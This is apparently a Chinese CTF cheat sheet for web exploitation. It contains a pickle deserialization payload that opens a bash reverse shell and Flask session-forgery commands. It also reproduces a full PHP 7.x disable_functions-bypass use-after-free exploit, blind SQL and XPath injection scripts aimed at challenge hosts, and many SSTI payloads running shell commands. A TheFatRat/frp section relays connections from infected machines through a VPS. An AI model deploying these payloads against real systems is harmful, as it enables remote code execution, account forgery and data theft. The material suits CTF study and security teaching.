网络安全

pickle反序列化

#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

python session伪造

  1. session伪造 #

    获取SECRET_KEY,一般存放在环境变量中,可通过evs查看,在靶场中可注意查看robots.txt或者通过注入{{config}}查看

    noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder (github.com)

    注意python2和python3生成的是不一样的,win和linux好像也不一样

    在encode时注意包裹要用双引号

    在encode时,要注意是否包含True 或者False 在python要首字母大写,不要写错了

    Ture =>True

    Flase =>False

    注意看到key后面的符号有些时候会没有复制到,如!

    __import__(\"os\").popen(\"cat flag.txt\").read()
    
    • ​ encode

      python3 flask_session_cookie_manager3.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
      
    • decode

      python3 flask_session_cookie_manager3.py decode -c 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoieWVhciJ9.u96oSxNl0euw-9FpcndeiWMoHfMHx55nfrpF8VcpzA8' -s 'you-will-never-guess'
      

      没有key就直接-c,但是修改了再加密回去需要知道key才行

  2. 签名伪造 #

    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    
    app = Flask(__name__)
    app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
    
    session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    
    @app.route('/')
    def index():
        print(session_serializer.dumps("admin"))
    
    index()
    
  3. PID伪造 #

有key,

mac地址:c2:e8:f4:f8:4f:18

cat /sys/class/net/eth0/address

mac地址路径,cookie伪造:https://github.com/noraj/flask-session-cookie-manager

...

readflag


<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}
?>

regexp盲注

regexp盲注

select (select username from users regexp 正则表达式)

匹配则返回1,反之不匹配返回0

^xxx匹配xxx开头的字符

import string
from urllib import parse
import requests

url='http://57255251-75f0-44e7-a06a-8b81f5d2b486.node4.buuoj.cn:81/index.php'
strings='_'+string.ascii_lowercase+string.digits
passwd=''
while True:
    for j in strings:
        data={
            'username':'\\',
            'passwd':'||/**/passwd/**/regexp/**/"^{}";{}'.format((passwd+j),parse.unquote('%00'))#parse.unqote是不编码%00的意思
        }
        res=requests.post(url,data=data).text
        if 'welcome' in res:
            passwd += j
            print("\r" + passwd, end="")
            break

ruby_cookie

from: buuctf [BSidesCF 2019]Mixer #

看到rack-cookie 找了个文章

require "uri"
require "base64"
require "pp"
encoded_string = "BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTBiNDJlNTgzNjJjOWFjNjU5NzJm%0ANzAwYmMxODczZTlkYzBiY2ZkMGI3NGZlYzE4NjBhNWRmNGY3NTg2NDg4NjkG%0AOwBGSSIMYWVzX2tleQY7AEYiJa5eOeNVt5U3U6b2OYRb%2Bz2Do4Uxpnpqkw5L%0AM%2BRPHR46%0A"

decoded_uri = URI.decode_www_form_component(encoded_string)
decoded_base64 = Base64.decode64(decoded_uri)
puts decoded_base64
begin
  object = Marshal.load(decoded_base64)
  pp object
rescue ArgumentError => e
  puts "ERROR: "+e.to_s
end

改改,运行

ruby test.rb

看到

{I"session_id:ETI"E0b42e58362c9ac65972f700bc1873e9dc0bcfd0b74fec1860a5df4f758648869;FI"
aes_key;F"%�^9�U��7S��9�[�=���1�zj�K3�O:
{"session_id"=>"0b42e58362c9ac65972f700bc1873e9dc0bcfd0b74fec1860a5df4f758648869",
 "aes_key"=>"\xAE^9\xE3U\xB7\x957S\xA6\xF69\x84[\xFB=\x83\xA3\x851\xA6zj\x93\x0EK3\xE4O\x1D\x1E:"}

aes key考虑一波解密,把密钥base64一下或者hex,试了上面的session_id 解不开

想到返回包中还有一个user cookie,得到

{"first_name":"123","last_name":"123","is_admin":0}

开了,直接该is_admin=1,在加密回hex发包回去

get flag

session伪造

session的存储 #

<?php 
session_start();
$_SESSION['session'] = '123';
 ?>

在win下面好像时默认存储在C:\window下面的,找不到可以用everthing搜一下

命名是以sess_[a-z0-9]

其存储的内容是根据session.serialize_handler定义的存储机制决定

存储机制 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binry 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

以session.serialize_handler=php为例

session|s:3:"123";

session污染

在有可控项写入session时用字符串拼接

|N;admin|b:1;

可以造成admin==1

SSTI模板注入

SSTI模板注入

SSTI (Server Side Template Injection) - HackTricks

__class__
查看对象所在的类
__base__
查看一个类的父类
__mro__
返回包含回溯一个类所有由继承过父类的元组
__subclasses__()
返回一个类的所有子类的列表
__builtins__
内置模块的一个引用
__init__,__enter__
类实例化出一个对象时进行初始化方法
__globals__
返回一个函数所在的空间的所有类,属性,子模块以及方法的字典
__dict__
返回包含一个模块所拥有的类,属性,子模块以及方法的字典
__getattribute__
这个魔术方法可以拦截对对象的所有访问企图,但也具有访问对象的功能

ssti一般流程 #

尝试读取

{{config}}
{{self}}
__class__.__init__.__globals__[app].config

python2/3

python2
	''.__class__.__mro__[2]
	''.__class__.__base__.__base__
python3
	''.__class__.__mro__[1]
	''.__class__.__base__.
	

获取所有子类

''.__class__.base__[0].__subclasses__()
查找有用的子类
''.__class__.__mro__[-1].__subclasses__()[100].__init__

通过__globals__

''.__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__
调用内置库的函数用builtins,调用模块用import载入
''.__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__.__builtins__.eval
''.__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__.__builtins__.__import__('os').popen("ls").read()
或者用eval导入os模块
''.__class__.__mro__[-1].__subclasses__()[100].__init__.__globals__.__builtins__.eval.__import__('os').popen("ls").read()
().__class__.__base__.__subclasses__()[213].__init__.__globals__['popen']('env').read()

别骂了,我太菜了

{{lipsum.__globals__.os.popen('cat flag.txt').read()}}
().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")

过滤字符串,用字符拼接的方式

config

__class__.__init__.__globals__[app].config

没有内置os模块的

{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

有内置os模块的

{{[].__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}

懒得找模块就直接bp遍历一波

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

过滤参考网上大把

...

TheFatRat

某日突发奇想

在github 上发现了一个好东西。

安装一哈

配置VPS frp #

[common]
bind_port = 7000  # VPS监听端口(你可以改成其他端口)

攻击机 #

注意,记得开启vps上的6000端口和4444端口


[common]
server_addr = <VPSIP地址>
server_port = 7000  # VPS上frps的监听端口

[attack_machine_reverse_proxy]
type = tcp
local_ip = 127.0.0.1
local_port = 4444  # 攻击机上监听的端口(用来接收来自目标的连接)
remote_port = 6000  # VPS上开放的远程端口,用来转发流量

生成payload #

这个不多说

注意在填写host的时候些vps地址,port 填remote_port的值(也就是6000端口)

被攻击机器上线

WEB-INF 读取

WEB-INF读取

filename=help.docx

一般来说,出于安全的考虑我们会将网页放在WEB-INF文件下,防止页面直接被访问;

这里主要说明,如何通过设置web.xml文件,来访问WEB-INF文件下的网页,

filename=WEB-INF/web.xml
filename=WEB-INF/classes/struts.xml
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

观察其中泄露信息,读取字节码(.class),在反编译

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

xpath 注入

详见

XPATH注入学习 - 先知社区 (aliyun.com)

import requests
import re
import time

s = requests.session()
url ='http://400f158d-53cf-4163-82a9-0d5ca129fab9.node4.buuoj.cn:81/login.php'



head ={
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36",
    "Content-Type": "application/xml"
}
find =re.compile('<input type="hidden" id="token" value="(.*?)" />')

strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'


flag =''
for i in range(1,100):
    for j in strs:
        time.sleep(0.2)
        r = s.post(url=url)
        token = find.findall(r.text)
        #猜测根节点名称
        payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
        #猜测子节点名称
        payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测accounts的节点
        payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #猜测user节点
        payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        #跑用户名和密码
        payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])

        payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}'  or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])


        print(payload_username)
        r = s.post(url=url,headers=head,data=payload_password)
        print(r.text)


        if "非法操作" in r.text:
            flag+=j
            print(flag)
            break

    if "用户名或密码错误!" in r.text:
        break

print(flag)